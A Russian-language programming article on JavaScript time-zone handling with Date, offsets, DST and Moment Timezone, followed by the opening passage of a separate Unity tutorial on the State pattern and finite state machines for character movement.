Функциональность, связанная с часовыми поясами, реализована в JavaScript из рук вон. По умолчанию язык использует текущий пояс региона (точнее, пояс, выбранный при установке ОС), и не существует способа поменять его. Более того, даже спецификации для стандарта баз данных в JavaScript расплывчаты, и вы это поймёте сами, если решите разобраться со спецификацией для ES2015. Про местный часовой пояс и доступность DST есть лишь пара туманных заявлений. К примеру, DST определяется так: [ECMAScript 2015 — Daylight Saving Time Adjustment](http://www.ecma-international.org/ecma-262/6.0/#sec-daylight-saving-time-adjustment).
> Это алгоритм, зависящий от реализации, использующий лучшую доступную информацию о часовых поясах для определения настройки перехода на местное летнее время DaylightSavingTA(t), которая вычисляется в миллисекундах. Реализация ECMAScript должна помочь наилучшим образом определять настройку перехода на местное летнее время.
Похоже, они просто говорят: «Чуваки, попробуйте заставить это работать». Помимо прочего, вам придётся решать проблему совместимости с разными браузерами. Вы скажете: «Какой бардак!», а потом прочитаете следующую строку:
> Примечание: рекомендуем в ваших реализациях пользоваться информацией из базы данных часовых поясов IANA<http://www.iana.org/time-zones/>.
Да. Спецификации ECMA передают вам мяч вот такой незатейливой рекомендацией пользоваться базой IANA, потому что в JavaScript нет специальной стандартной базы данных. В результате разные браузеры для вычисления времени используют собственные операции с часовыми поясами, которые зачастую несовместимы друг с другом. Позднее в ECMA для международного API добавили опцию использования данных IANA в формате ECMA-402 `Intl.DateTimeFormat`. Вот только эта опция гораздо менее надёжна, чем аналоги в других языках программирования.
Часовой пояс в сервер-клиентская среда
--------------------------------------
Рассмотрим простой сценарий: нам нужно определить часовой пояс. Допустим, мы создаём календарь, который будет обрабатывать информацию о времени. Когда пользователь в клиентской среде вводит в окне регистрации дату и время, дата передаётся на сервер и сохраняется в базе данных. Затем клиент получает от сервера зарегистрированную в расписании дату для отображения на экране.
Здесь нужно кое с чем определиться. Что, если некоторые из клиентов, обращающихся к серверу, находятся в разных часовых поясах? Событие в расписании, которое в Сеуле зарегистрировано на 10 марта 2017 в 23.30, в Нью-Йорке должно отображаться как 10 марта 2017 в 9.30. Чтобы сервер мог обслуживать клиентов из разных часовых поясов, хранящееся на нём расписание должно содержать абсолютные значения, которые никак не зависят от пояса. У каждого сервера свой способ хранения таких значений, этот вопрос выходит за рамки статьи, поскольку всё зависит от конкретного сервера или базы данных. В целом, дата и время, передаваемые от клиента на сервер, должны быть представлены либо в виде значений на основе единого смещения (обычно, UTC), либо в виде значений, содержащих информацию о часовом поясе клиентской среды.
Обычно такие данные передаются в виде [Unix-времени](https://ru.wikipedia.org/wiki/Unix-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F) в формате UTC или по стандарту [ISO-8601](https://ru.wikipedia.org/wiki/ISO_8601) с информацией о смещении. Если в нашем примере преобразовать в Unix-время сеульское 21.30 10 марта 2017, то получится целочисленное значение `1489113000`. А в формате ISO-8601 получится строковое значение `2017–03–10T11:30:00+09:00`.
Если вы используете в браузерной среде JavaScript, то должны преобразовать введённое значение, как описано выше, а затем преобразовать его обратно, чтобы соответствовало пользовательскому часовому поясу. Нужно решить обе эти задачи. С точки зрения языка программирования, первая операция называется «парсингом», а вторая «форматированием». Теперь давайте посмотрим, как это делается в JavaScript.
Даже когда вы работаете с JS в серверной среде, используя Node.js, вам может потребоваться парсить данные, полученные от клиента. Но поскольку часовые пояса серверов и баз данных обычно синхронизируют, а форматирование возлагают на клиенты, в браузерной среде вам нужно определиться с несколькими факторами. Дальше я буду объяснять применительно к браузерной среде.
Объект Date в JavaScript
------------------------
Задачи, подразумевающие работу с данным или временем, решаются с помощью объекта `Date`. Это нативный объект, определённый в ECMAScript, как `Array` или `Function`. То есть он, по большей части, реализован с помощью нативного кода вроде С++. API хорошо описан в [документации MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date). Большое влияние на объект оказал класс [java.util.Date](https://docs.oracle.com/javase/7/docs/api/java/util/Date.html) из Java, поэтому он унаследовал некоторые нежелательные свойства, вроде характеристик изменяемых данных и начинающегося с нуля месяца (`month`).
Под капотом объект `Date` в JavaScript работает с временем, используя абсолютные значения в формате Unix-времени. Но на конструкторы и методы вроде функций `parse()`, `getHour()`, `setHour()` и прочих влияет часовой пояс клиента (точнее, пояс, указанный в ОС, в которой работает браузер). Так что если вы создаёте объект `Date` напрямую, используя введёные пользователем данные, то в этих данных будет отражён местный часовой пояс клиента.
Как я упоминал, JavaScript не предоставляет какого-либо способа произвольно изменить часовой пояс. Поэтому будем считать, что мы можем напрямую использовать значение часового пояса, указанное в браузере.
Создание объекта Date с помощью введённых пользователем данных
--------------------------------------------------------------
Вернёмся к первому примеру. Допустим, пользователь ввёл на своём устройстве сеульское время 11.30 11 марта 2017. Эти данные сохраняются в виде пяти чисел: 2017, 2, 11, 11 и 30 — год, месяц, день, часы и минуты соответственно (поскольку месяц начинается с 0, его значение должно быть 3–1=2). С помощью конструктора можно легко создать объект `Date`:
```
const d1 = new Date(2017, 2, 11, 11, 30);
d1.toString(); // Sat Mar 11 2017 11:30:00 GMT+0900 (KST)
```
Если посмотрите на значение, возвращённое `d1.toString()`, то увидите, что абсолютное значение созданного объекта равно 11.00 11 марта 2017, оно вычислено с помощью смешения `+09:00` (KST).
Вы можете использовать в конструкторе и строковые данные. Если применить их к `Date`, объект внутренне вызовет `Date.parse()` и вычислит правильное значение. Эта функция поддерживает спецификации [RFC2888](https://tools.ietf.org/html/rfc2822#section-3.3) и [ISO-8601](https://ru.wikipedia.org/wiki/ISO_8601). Но в [MDN-документации к Date.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse) говорится, что возвращаемое этим методом значение зависит от браузера, а формат строкового типа может влиять на точное финальное значение. Поэтому лучше этим методом не пользоваться. К примеру, в Safari и Internet Explorer строковое значение вроде `2015–10–12 12:00:00` возвращает `NaN`, а в Chrome и Firefox возвращает локальный часовой пояс. В некоторых ситуациях возвращается значение на основе UTC.
Создание объекта Date с помощью серверных данных
------------------------------------------------
Допустим, что вы хотите получить данные с сервера. Если они в виде числового Unix-времени, то для создания объекта `Date` можете просто использовать конструктор. Я ещё не упоминал, что когда конструктор `Date` получает одно значение в качестве единственного параметра, то вычисляет значение Unix-времени в миллисекундах (внимание: JS обрабатывает Unix-время в миллисекундах. Это означает, что второе значение нужно умножать на 1000). При выполнении следующего кода мы получим такое же значение, как в предыдущем примере:
```
const d1 = new Date(1489199400000);
d1.toString(); // Sat Mar 11 2017 11:30:00 GMT+0900 (KST)
```
А если вместо Unix-времени использовать строковый тип ISO-8601? Как я объяснил выше, тогда метод `Date.parse()` становится ненадёжен и лучше его не использовать. Однако начиная с ECMAScript 5 вы можете в конструкторе `Date` в Internet Explorer 9.0 и выше использовать строковые в формате ISO-8601.
Если же вы используете не самый свежий браузер, то удостоверьтесь в наличии буквы `Z` в конце значений. Без неё ваш старый браузер может интерпретировать значение на основе местного времени, а не UTC. Вот пример использования в Internet Explorer 10:
```
const d1 = new Date('2017-03-11T11:30:00');
const d2 = new Date('2017-03-11T11:30:00Z');
d1.toString(); // "Sat Mar 11 11:30:00 UTC+0900 2017"
d2.toString(); // "Sat Mar 11 20:30:00 UTC+0900 2017"
```
Согласно спецификации, в обоих случаях должно получиться одно и то же значение. Но они отличаются. В более позднем браузере значения будут одинаковыми. Чтобы эта проблема не возникала, всегда добавляйте `Z` в конце строки, если отсутствует информация о часовом поясе.
Создание Date для передачи серверу
----------------------------------
Теперь можно пользоваться ранее созданным `Date`, свободно извлекать или добавлять время на основе местных часовых поясов. Только в конце обработки не забывайте преобразовывать данные в предыдущий формат, прежде чем возвращать серверу.
Если это Unix-время, можете воспользоваться методом `getTime()` (не забывайте о миллисекундах).
```
const d1 = new Date(2017, 2, 11, 11, 30);
d1.getTime(); // 1489199400000
```
Что насчёт строкового значения в формате ISO-8601? Как я говорил, Internet Explorer 9.0 и выше поддерживают ECMAScript 5, а поздние версии поддерживают ISO-8601. Поэтому с помощью методов `toISOString()` или `toJSON()`можно создать строку в ISO-8601 (`toJSON()` можно использовать для рекурсивных вызовов с `JSON.stringify()` и другими). Оба метода дают одинаковый результат, за исключением случаев обработки неверных данных:
```
const d1 = new Date(2017, 2, 11, 11, 30);
d1.toISOString(); // "2017-03-11T02:30:00.000Z"
d1.toJSON(); // "2017-03-11T02:30:00.000Z"
const d2 = new Date('Hello');
d2.toISOString(); // Error: Invalid Date
d2.toJSON(); // null
```
Для создания строки в формате UTC можете использовать методы `toGMTString()` или `toUTCString()`. Получится значение, удовлетворяющее требованиям [RFC-1123](https://tools.ietf.org/html/rfc1123).
Объект `Date` включает в себя `toString()`, `toLocaleString()` и их методы расширения. Но пользы от них мало, поскольку они используются, в основном, для возвращения строк на основе местного часового пояса, причём возвращаемые значения зависят от браузера и ОС.
Изменение местного часового пояса
---------------------------------
Как видите, в JS есть какая-то поддержка часовых поясов. А если нужно в приложении изменить местный пояс без учёта указанного в ОС значения? Или если нужно в одном приложении отобразить одновременно несколько часовых поясов? Как я уже несколько раз говорил, JS не позволяет вручную менять местный часовой пояс. Единственным решением будет добавление или удаление смещения из даты, для которой вы уже знаете значение смещения нужного пояса. Но не огорчайтесь. Быть может, есть другой путь.
Вернёмся к нашему примеру с Сеулом. Пусть этот часовой пояс указан в браузере. Пользователь вводит сеульское время 11.30 11 марта 2017 и хочет увидеть его как местное нью-йоркское время. Сервер передаёт дату в Unix-времени в миллисекундах и уведомляет, что нью-йоркское смещение равно `-05:00`. Теперь можете преобразовать данные, если вам известно смещение местного часового пояса.
В этом сценарии можно использовать метод `getTimeZoneOffset()`. Это единственный API в JavaScript, который позволяет получить информацию о местном часовом поясе. Метод возвращает значение смещения текущего пояса в минутах:
```
const seoul = new Date(1489199400000);
seoul.getTimeZoneOffset(); // -540
```
Значение `-540` означает, что часовой пояс на 540 минут опережает целевой. Обратите внимание на минус, хотя смещение Сеула содержит плюс (`+09:00`). Не знаю, почему, но отображается именно так. Если будем с помощью этого метода вычислять смещение для Нью-Йорка, то получим `60 * 5 = 300`. Преобразуем разницу `840` в миллисекунды и создадим новый объект `Date`. Теперь воспользуемся его методом `getXX` для преобразование значения в нужный вам формат. Создадим простую форматирующую функцию для сравнения результатов:
```
function formatDate(date) {
return date.getFullYear() + '/' +
(date.getMonth() + 1) + '/' +
date.getDate() + ' ' +
date.getHours() + ':' +
date.getMinutes();
}
const seoul = new Date(1489199400000);
const ny = new Date(1489199400000 - (840 * 60 * 1000));
formatDate(seoul); // 2017/3/11 11:30
formatDate(ny); // 2017/3/10 21:30
```
`formatDate()` показывает корректные дату и время в соответствии с разницей часовых поясов Сеула и Нью-Йорка. Похоже, мы нашли простое решение. А можно ли преобразовать в местный часовой пояс, если мы знаем смещение нужного региона? К сожалению, нет. Я уже говорил, что данные о часовых поясах — это база данных, хранящая все исторические изменения смещений. Так что для получения корректного значения часового пояса вы должны знать смещение на нужную дату (не текущую).
Проблема преобразования местного часового пояса
-----------------------------------------------
Если ещё немного поработаете с вышеприведённым примером, то скоро столкнётесь с проблемой. Допустим, пользователь хочет проверить местное время в Нью-Йорке, а затем изменить дату с 11 на 15 число. Если воспользоваться методом `setDate()` из объекта `Date`, то можно изменить дату, не затрагивая остальные значения.
```
ny.setDate(15);
formatDate(ny); // 2017/3/15 21:30
```
Выглядит просто, но есть скрытая ловушка. Что будет, если нужно передать данные обратно серверу? Они ведь изменились, поэтому вы не сможете использовать методы `getTime()` или `getISOString()`. Поэтому придётся сделать обратное преобразование, прежде чем отправлять данные на сервер.
```
const time = ny.getTime() + (840 * 60 * 1000); // 1489631400000
```
Некоторые могут удивиться, почему я добавил использование преобразованных данных, всё равно ведь придётся преобразовывать их обратно перед возвращением. Ведь можно же обработать данные без преобразования и временно создать преобразованный объект `Date` только при форматировании? Нет. Если в объекте `Date` на основе сеульского времени изменить дату с 11-го на 15-е, то добавляются 4 дня (`24 * 4 * 60 * 60 * 1000`). Но в случае с местным нью-йоркским временем дата изменилась с 10-го на 15-е, то есть добавилось 5 дней (`24* 5 * 60 * 60 * 1000`). Так что для получения точного результата нужно вычислять данные на основе местного смещения.
На этом проблемы не заканчиваются. Вы не получите желаемое значение, просто добавив или вычтя смещение. Поскольку для Нью-Йорка летнее время начинается с 12 марта, смещение для 15 марта 2017 равно `-04:00`, а не `-05:00`. И когда вы делаете обратное преобразование, то нужно добавить 780 минут, что на 60 минут меньше, чем до этого.
```
const time = ny.getTime() + (780 * 60 * 1000); // 1489627800000
```
С другой стороны, если местный часовой пояс пользователя относится к Нью-Йорку и нужно узнать время в Сеуле, то ненужное применение летнего времени приведёт к другой проблеме.
Попросту говоря, вы не можете использовать одно лишь смещение для выполнения точных операций на основе выбранного часового пояса. Если собрать воедино всё, что мы уже обсудили, то станет понятно, что есть ещё сложности с летним временем. Для получения точного значения нужна база данных, содержащая всю историю изменения смещений, вроде той же [базы IANA](https://www.iana.org/time-zones).
Для решения этой задачи вам придётся хранить всю базу, и при извлечении даты или времени из объекта `Date` находить эту дату и соответствующее смещение, а затем преобразовывать значение по описанному выше процессу. В теории, всё это реализуемо. Но по факту вам придётся потратить слишком много сил, не говоря уже о тестировании надёжности преобразованных данных. Хотя не спешите расстраиваться. Пока что мы обсуждали только некоторые проблемы JS и способы их решения. Теперь можно воспользоваться хорошей библиотекой.
Moment Timezone
---------------
[Moment](https://momentjs.com/) — отработанная JavaScript-библиотека, почти ставшая стандартом. Она предоставляет различные API для дат и их форматирования, и многие пользователи считают библиотеку стабильной и надёжной. Есть к ней и модуль расширения [Moment Timezone](https://momentjs.com/timezone/), который решает рассмотренные выше проблемы. Он содержит данные базы IANA для точного вычисления смещений и предоставляет набор API, которые можно использовать для изменения и форматирования часовых поясов.
Я не буду подробно рассказывать об использовании библиотеки или её структуре. Лишь покажу, как с её помощью можно легко решить вышеописанные задачи. За подробностями отправляю к [документации](https://momentjs.com/timezone/docs/).
Итак, воспользуемся Moment Timezone:
```
const seoul = moment(1489199400000).tz('Asia/Seoul');
const ny = moment(1489199400000).tz('America/New_York');
seoul.format(); // 2017-03-11T11:30:00+09:00
ny.format(); // 2017-03-10T21:30:00-05:00
seoul.date(15).format(); // 2017-03-15T11:30:00+09:00
ny.date(15).format(); // 2017-03-15T21:30:00-04:00
```
Смещение `seoul` осталось прежним, а смещение `ny` изменилось с `-05:00` на `-04:00`. И если воспользуетесь функцией `format()`, можете получить строку в формате ISO-8601, в которой аккуратно применено смещение. Получается гораздо проще приведённого мной выше решения.
Заключение
----------
Мы обсудили API часовых поясов, поддерживаемые в JavaScript, и связанные с ними сложности. Если вам не нужно вручную менять свой местный часовой пояс, можете реализовать необходимые функции даже с помощью базовых API, подразумевающих использование Internet Explorer 9 и выше. Если же нужно менять вручную, то всё становится очень сложным. В регионе без перехода на летнее время и редкими сменами часового пояса вы можете частично реализовать нужную функциональность, преобразуя данные с помощью `getTimezoneOffset()`. Но если вам нужна полноценная поддержка часовых поясов, не делайте её с нуля. Лучше воспользуйтесь библиотекой наподобие Moment Timezone.
Я пытался сделать всё самостоятельно, но не смог, что не удивительно. После многочисленных попыток могу дать совет: используйте библиотеку. Начиная писать статью, я ещё не знал, что сказать в заключении, а теперь знаю. Не рекомендую использовать сторонние библиотеки вслепую, не зная поддерживаемых ими возможностей JavaScript и возможных подводных камней. Как и всегда, выбирайте правильный инструмент под свою ситуацию.
Полезные ссылки
---------------
* [Pluralsight: Date and Time Fundamentals](https://www.pluralsight.com/courses/date-time-fundamentals)
* [Wikipedia: timezone](https://ru.wikipedia.org/wiki/%D0%A7%D0%B0%D1%81%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BF%D0%BE%D1%8F%D1%81)
* [Wikipedia: DST](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D1%82%D0%BD%D0%B5%D0%B5_%D0%B2%D1%80%D0%B5%D0%BC%D1%8F)
* [Wikipedia: Unix Time](https://ru.wikipedia.org/wiki/Unix-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F)
* [Wikipedia: ISO-8601](https://ru.wikipedia.org/wiki/ISO_8601)
* [IANA timezone Database](https://www.iana.org/time-zones)
* [Microsoft Daylight Saving Time & Time Zone Blog](https://blogs.technet.microsoft.com/dst2007)
* [MDN: Date API](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date)
* [java.util.Date API](https://docs.oracle.com/javase/7/docs/api/java/util/Date.html)
* [Moment Timezone](https://momentjs.com/timezone/)
* [RFC-1123](https://tools.ietf.org/html/rfc1123)
* [RFC2888](https://tools.ietf.org/html/rfc2822#section-3.3) | https://habr.com/ru/post/438286/ | null | ru | null |
# Реализация шаблона «Состояние» в Unity
В процессе программирования внутриигровых сущностей возникают ситуации, когда они должны действовать в различных условиях по-разному, что наводит на мысль об использовании *состояний*.
Но если вы решите применить способ грубого перебора, то код быстро превратится в запутанный хаос со множеством вложенных операторов if-else.
Для изящного решения этой задачи можно воспользоваться *шаблоном проектирования «Состояние»* (State design pattern). Ему-то мы и посвятим этот туториал!
Из туториала вы:
* Научитесь основам шаблона «Состояние» в Unity.
* Узнаете, что такое конечный автомат, и когда его использовать.
* Узнаете, как использовать эти концепции для управления движением персонажа.
> *Примечание*: этот туториал предназначен для опытных пользователей; предполагается, что вы уже умеете работать в Unity и обладаете средним уровнем знаний C#. Кроме того, в этом туториале используется Unity 2019.2 и C# 7.
Приступаем к работе
-------------------
Скачайте [материалы проекта](https://koenig-media.raywenderlich.com/uploads/2019/11/State-Machine-for-Unity.zip). Распакуйте *файл zip* и откройте в Unity проект *starter*.
В проекте есть несколько папок, которые помогут вам начать работу. В папке *Assets/RW* находятся папки *Animations*, *Materials*, *Models*, *Prefabs*, *Resources*, *Scenes*, *Scripts* и *Sounds*, названные в соответствии с содержащимися в них ресурсами.
Для выполнения туториала мы будем работать только со *Scenes* и *Scripts*.
Перейдите в *RW/Scenes* и откройте *Main*. В режиме Game вы увидите персонажа в капюшоне внутри средневекового замка.
Нажмите на *Play* и заметьте, как камера *Camera* перемещается, чтобы поместить в кадр *Character*. На данный момент в нашей маленькой игре отсутствуют взаимодействия, над ними мы и будем работать в туториале.
Исследуем персонажа
-------------------
В *иерархии* выберите *Character*. Обратите внимание на *Inspector*. Вы увидите *компонент* с аналогичным названием, содержащий логику управления *Character*.
Откройте *Character.cs*, находящийся в *RW/Scripts*.
В скрипте выполняется много действий, но большинство из них нам не важно. Пока обратим внимание на следующие методы.
* `Move`: он перемещает персонажа, получая значения типа float `speed` в качестве скорости перемещения и `rotationSpeed` в качестве угловой скорости.
* `ResetMoveParams`: этот метод сбрасывает параметры, используемые для *анимации движения*, и угловую скорость персонажа. Он используется просто для очистки.
* `SetAnimationBool`: он присваивает параметру анимации `param` типа Bool значение.
* `CheckCollisionOverlap`: он получает `точку` типа `Vector3` и возвращает `bool`, определяющий, есть ли в пределах заданного радиуса от `точки` коллайдеры.
* `TriggerAnimation`: переключает входной параметр анимации `param`.
* `ApplyImpulse`: прикладывает к Character импульс, равный входному параметру `force` типа `Vector3`.
Ниже вы увидите эти методы. В нашем туториале их содержимое и внутренняя работа не важны.
Что такое машины состояний
--------------------------
Машина состояний (State machine) — это концепция, при которой контейнер хранит в себе состояние чего-то в текущий момент времени. На основании входящих данных он может обеспечивать вывод, зависящий от текущего состояния, переходя в этом процессе в новое состояние. Машины состояний можно представить в виде [диаграммы состояний](https://www.geeksforgeeks.org/unified-modeling-language-uml-state-diagrams/). Подготовка диаграммы состояний позволяет продумать все возможные состояния системы и переходы между ними.
### Конечные автоматы
*Конечные автоматы* или *FSM (Finite state machine)* — это одно из четырёх основных семейств *автоматов*. Автоматы — это абстрактные модели простых машин. Они изучаются в рамках [*теории автоматов*](https://cs.stanford.edu/people/eroberts/courses/soco/projects/2004-05/automata-theory/basics.html) — теоретической отрасли computer science.
В двух словах:
* FSM состоит из конечного количества *состоянии*. В любой момент времени *активно* только одно из этих состояний.
* Каждое состояние определяет, в какое состояние оно перейдёт в качестве *выходного результата* на основании полученной последовательности *входящей информации*.
* Выходное состояние становится новым активным состоянием. Другими словами, происходит *переход между состояниями*.
Чтобы лучше понять это, рассмотрим персонажа игры-платформера, который стоит на земле. Персонаж находится в состоянии *Standing*. Это будет его *активным состоянием*, пока игрок не нажмёт кнопку, чтобы персонаж подпрыгнул.
Состояние *Standing* идентифицирует нажатие кнопки как значимые *входящие данные* и в качестве *выходного результата* выполняет переход в состояние *Jumping*.
Допустим, существует определённое количество таких состояний движения и персонаж может за раз находиться только в одном из состояний. Это и есть пример FSM.
### Иерархические машины состояний
Рассмотрим платформер, использующий FSM, в котором несколько состояний имеют общую логику физики. Например, можно двигаться и прыгать в состояниях *Crouching* и *Standing*. В таком случае несколько входящих переменных приводят к одинаковому поведению и выводу информации для двух разных состояний.
В подобной ситуации логично будет делегировать общее поведение какому-то другому состоянию. К счастью, этого можно добиться при помощи *иерархических машин состояний (автоматов)* (hierarchical state machines).
В иерархическом FSM существуют *подсостояния*, делегирующие *необработанную* входящую информацию своим *надсостояниям*. Это в свою очередь позволяет изящно уменьшать размер и сложность FSM, сохраняя при этом его логику.
Шаблон «Состояние»
------------------
В своей книге *Design Patterns: Elements of Reusable Object-Oriented Software* Эрих Гамма, Ричард Хелм, Ральф Джонсон и Джон Влиссидис (*«Банда четырёх»*) определили *задачу* шаблона «Состояние» следующим образом:
«Он должен позволить объекту изменять своё поведение при изменении его внутреннего состояния. При этом будет казаться, что объект изменил свой класс».
Чтобы лучше понять это, рассмотрим следующий пример:
* Скрипт, получающий входящую информацию для логики движения, прикреплён к внутриигровой сущности.
* Этот класс хранит переменную *текущего состояния*, которая просто ссылается на экземпляр класса *состояния*.
* Входящая информация делегируется этому текущему состоянию, которое обрабатывает его и создаёт поведение, определённое внутри себя. Также оно обрабатывает требуемые переходы между состояниями.
Следовательно, из-за того, что в разное время переменная *текущего состояния* ссылается на разные состояния, будет казаться, что один и тот же класс скрипта ведёт себя по-разному. В этом и есть суть шаблона «Состояние».
В нашем проекте в зависимости от разных состояний будет вести себя по-разному упомянутый выше класс *Character*. Но нам нужно, чтобы он вёл себя хорошо!
В общем случае существует три ключевых пункта для каждого класса состояния, позволяющих поведение состояния в целом:
* *Вход (Entry)*: это момент, когда сущность входит в состояние и выполняет действия, которые нужно сделать только один раз, при входе в состояние.
* *Выход (Exit)*: аналогично входу — здесь выполняются все операции сброса, которые нужно совершать только перед изменением состояния.
* *Цикл обновления (Update Loop)*: здесь находится базовая *логика обновления*, которая выполняется в каждом кадре. Её можно разделить на несколько частей, например, на цикл для обновления физики и цикл для обработки ввода игрока.
### Задание состояния и машины состояний
Перейдите в *RW/Scripts* и откройте *StateMachine.cs*.
*State Machine*, как можно догадаться, обеспечивает абстракцию для машины состояний. Заметьте, что `CurrentState` правильно находится внутри этого класса. Оно будет хранить ссылку на текущее активное состояние машины состояний.
Теперь чтобы задать концепцию *состояния*, перейдём в *RW/Scripts* и откроем в IDE скрипт *State.cs*.
*State* — это абстрактный класс, который мы будем использовать как *образец*, из которого получаются все *классы состояний* проекта. Часть кода в материалах проекта уже готова.
`DisplayOnUI` только отображает название текущего состояния в экранном UI. Вам не обязательно знать его внутреннее устройство, достаточно только понимать, что он получает в качестве входного параметра enumerator типа `UIManager.Alignment`, который может иметь значение `Left` или `Right`. От него зависит отображение названия состояния в левой или правой нижней части экрана.
Кроме того, существуют две protected-переменные `character` и `stateMachine`. Переменная `character` ссылается на экземпляр класса *Character*, а `stateMachine` ссылается на экземпляр *машины состояний*, связанной с состоянием.
При создании экземпляра состояния конструктор связывает `character` и `stateMachine`.
Каждый из множества экземпляров `Character` в сцене может иметь собственный набор состояний и машин состояний.
Теперь добавим в *State.cs* следующие методы и сохраним файл:
```
public virtual void Enter()
{
DisplayOnUI(UIManager.Alignment.Left);
}
public virtual void HandleInput()
{
}
public virtual void LogicUpdate()
{
}
public virtual void PhysicsUpdate()
{
}
public virtual void Exit()
{
}
```
Эти виртуальные методы задают описанные выше ключевые пункты состояния. Когда *машина состояний* выполняет переход между состояниями, мы вызываем `Exit` для предыдущего состояния и `Enter` нового *активного состояния*.
`HandleInput`, `LogicUpdate` и `PhysicsUpdate` вместе задают *цикл обновления*. `HandleInput` обрабатывает ввод игрока. `LogicUpdate` обрабатывает базовую логику, а `PhyiscsUpdate` обрабатывает логику и вычисления физики.
Теперь снова откроем *StateMachine.cs*, добавим следующие методы и сохраним файл:
```
public void Initialize(State startingState)
{
CurrentState = startingState;
startingState.Enter();
}
public void ChangeState(State newState)
{
CurrentState.Exit();
CurrentState = newState;
newState.Enter();
}
```
`Initialize` конфигурирует машину состояний, присваивая `CurrentState` значение `startingState` и вызывая для него `Enter`. Это инициализирует машину состояний, в первый раз задавая активное состояние.
`ChangeState` обрабатывает переходы между *состояниями*. Он вызывает `Exit` для старого `CurrentState` перед заменой его ссылки на `newState`. В конце он вызывает `Enter` для `newState`.
Таким образом мы задали *состояние* и *машину состояний*.
### Создание состояний движения
Взгляните на следующую диаграмму состояний, на которой показаны различные *состояния движения* внутриигровой сущности игрока. В этом разделе мы реализуем шаблон «Состояние» для показанного на рисунке *FSM движения*:
Обратите внимание на состояния движения, а именно на *Standing*, *Ducking* и *Jumping*, а также на то, как входящие данные вызывают переходы между состояниями. Это иерархический FSM, в котором *Grounded* является надсостоянием для подсостояний *Ducking* и *Standing*.
Вернитесь в Unity и перейдите в *RW/Scripts/States*. Там вы найдёте несколько файлов C# с именами, заканчивающимися на *State*.
Каждый из этих файлов определяет один класс, каждый из которых наследуется из `State`. Следовательно, эти классы определяют состояния, которые мы будем использовать в проекте.
Теперь откройте *Character.cs* из папки *RW/Scripts*.
Перейдите выше `#region Variables` файла и добавьте следующий код:
```
public StateMachine movementSM;
public StandingState standing;
public DuckingState ducking;
public JumpingState jumping;
```
Этот `movementSM` ссылается на машину состояний, обрабатывающую логику движения для экземпляра `Character`. Также мы добавили ссылки на три состояния, которые мы реализуем для каждого типа движения.
Перейдите к `#region MonoBehaviour Callbacks` в том же файле. Добавьте следующие методы [MonoBehaviour](https://docs.unity3d.com/ScriptReference/MonoBehaviour.html), а затем сохранитесь
```
private void Start()
{
movementSM = new StateMachine();
standing = new StandingState(this, movementSM);
ducking = new DuckingState(this, movementSM);
jumping = new JumpingState(this, movementSM);
movementSM.Initialize(standing);
}
private void Update()
{
movementSM.CurrentState.HandleInput();
movementSM.CurrentState.LogicUpdate();
}
private void FixedUpdate()
{
movementSM.CurrentState.PhysicsUpdate();
}
```
* В `Start` код создаёт экземпляр *State Machine* и присваивает его `movementSM`, а также создаёт экземпляры различных состояний движения. При создании каждого из состояний движения мы передаём ссылки на экземпляр `Character` при помощи ключевого слова `this`, а также экземпляра `movementSM`. В конце мы вызываем `Initialize` для `movementSM` и передаём в качестве начального состояния `Standing`.
* В методе `Update` мы вызываем `HandleInput` и `LogicUpdate` для `CurrentState` машины `movementSM`. Аналогично, в `FixedUpdate` мы вызываем `PhysicsUpdate` для `CurrentState` машины `movementSM`. По сути это делегирует задачи активному состоянию; в этом и заключается смысл шаблона «Состояние».
Теперь нам нужно задать поведение внутри каждого из состояний движения. Крепитесь, кода будет много!
### Твёрдо стоим на ногах
Вернитесь в *RW/Scripts/States* в окне Project.
Откройте *Grounded.cs* и заметьте, что этот класс имеет конструктор, соответствующий конструктору `State`. Это логично, потому что этот класс наследует от него. То же самое вы увидите и во всех остальных классах *состояний*.
Добавьте следующий код:
```
public override void Enter()
{
base.Enter();
horizontalInput = verticalInput = 0.0f;
}
public override void Exit()
{
base.Exit();
character.ResetMoveParams();
}
public override void HandleInput()
{
base.HandleInput();
verticalInput = Input.GetAxis("Vertical");
horizontalInput = Input.GetAxis("Horizontal");
}
public override void PhysicsUpdate()
{
base.PhysicsUpdate();
character.Move(verticalInput * speed, horizontalInput * rotationSpeed);
}
```
Вот что здесь происходит:
* Мы переопределяем один из виртуальных методов, определённый в родительском классе. Чтобы сохранить всю функциональность, которая может существовать в родителе, мы вызываем метод `base` с тем же названием из каждого переопределённого метода. Это важный шаблон, который мы продолжим использовать.
* В следующей строке `Enter` переменным `horizontalInput` и `verticalInput` задаются их значения по умолчанию.
* Внутри `Exit` мы, как говорилось выше, вызываем метод `ResetMoveParams` `персонажа` для сброса при переходе в другое состояние.
* В методе `HandleInput` переменные `horizontalInput` и `verticalInput` кешируют значения горизонтальной и вертикальной осей ввода. Благодаря этому игрок может управлять персонажем при помощи клавиш *W*, *A*, *S* и *D*.
* В `PhysicsUpdate` мы выполняем вызов `Move`, передавая переменные `horizontalInput` и `verticalInput`, умноженные на соответствующие скорости. В переменной `speed` хранится скорость перемещения, а в `rotationSpeed` — угловая скорость.
Теперь откроем *Standing.cs* и обратим внимание на то, что он наследуется от `Grounded`. Так получилось потому, что, как мы говорили выше, *Standing* является подсостоянием для *Grounded*. Существуют разные способы для реализации этого взаимоотношения, но в этом туториале мы используем наследование.
Добавим следующие `override`-методы и сохраним скрипт:
```
public override void Enter()
{
base.Enter();
speed = character.MovementSpeed;
rotationSpeed = character.RotationSpeed;
crouch = false;
jump = false;
}
public override void HandleInput()
{
base.HandleInput();
crouch = Input.GetButtonDown("Fire3");
jump = Input.GetButtonDown("Jump");
}
public override void LogicUpdate()
{
base.LogicUpdate();
if (crouch)
{
stateMachine.ChangeState(character.ducking);
}
else if (jump)
{
stateMachine.ChangeState(character.jumping);
}
}
```
* В `Enter` мы конфигурируем переменные, наследуемые от `Grounded`. Применяем `MovementSpeed` и `RotationSpeed` персонажа к `speed` и `rotationSpeed`. Затем они относятся, соответственно, к *нормальной* скорости перемещения и угловой скорости, предназначенной для сущности персонажа.
Кроме того сбрасываются на false переменные для хранения ввода `crouch` и `jump`.
